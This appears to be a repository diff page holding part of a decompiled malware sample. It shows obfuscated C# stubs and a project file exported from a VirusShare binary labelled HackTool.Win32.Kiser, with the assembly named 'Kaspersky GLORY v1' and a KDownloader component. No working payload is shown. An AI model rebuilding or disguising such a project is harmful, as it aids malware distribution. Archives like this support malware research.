internal static RuntimeTypeHandle \u00333BjIpQrhN2Fc8QbaoV(int token) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl5;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Type WUk0k0QcW0fuIP8TsZP([In] RuntimeTypeHandle obj0) => (Type) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object jjQ9GlQSSRRmX5RCtBf([In] object obj0) => (object) null;
|
||||
|
||||
static YHLRBRarp6ocYAlDIi() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
}
|
||||
+2074
File diff suppressed because it is too large
Load Diff
+74
@@ -0,0 +1,74 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{1621E484-1CDB-4A95-BB68-D9DFBB492663}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Kaspersky GLORY v1</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile>Client</TargetFrameworkProfile>
|
||||
<ApplicationVersion>1.0.1.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="PresentationCore" />
|
||||
<Reference Include="PresentationFramework" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xaml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CModule_003E{1E0CF42E-6AF6-4AA5-9FF2-47ED1361C.cs" />
|
||||
<Compile Include="Grg8i8i1YMs98IPy4R\dC4qdNIcHbY6XFCXcG.cs" />
|
||||
<Compile Include="dGkVnXHiK2tWFJ4C6B\4ftP2cJrps1Vp0AYUA.cs" />
|
||||
<Compile Include="eWVX1sTotVGuGeBpEA\Ewv0DHKP53XXBO04Lw.cs" />
|
||||
<Compile Include="PiDHnfAR7iBcyRY1A4\2xlZRjWMTMLrRPrwuC.cs" />
|
||||
<Compile Include="DSIZmcjAW3UHvpoiYv\BZKTitwbNl6DcN6q4t.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Application.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\FB.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Kactive.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\KDownloader.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Loading.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\MainWindow.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\MySettings.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\Support.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\UpdateC.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\My\MySettingsProperty.cs" />
|
||||
<Compile Include="Kaspersky_GLORY_v1\My\Resources\Resources.cs" />
|
||||
<Compile Include="p2XtB2VTdFjK0JQIVK\MdFubyyWUT0jdlleiq.cs" />
|
||||
<Compile Include="YAjZo0OoeOFXnanNqL\a3QWFQfrZxBoktRnP7.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="09aae7e9-d4d8-45bf-9a2f-cd554772cbde" />
|
||||
<EmbeddedResource Include="2651b929-7cba-4c8e-a8bc-2a0fd8782a67" />
|
||||
<EmbeddedResource Include="82174bff-490c-4ae4-ae1a-05bd86367369" />
|
||||
<EmbeddedResource Include="f5bee3ba-1ad0-41f6-ae28-bff52c07af84" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user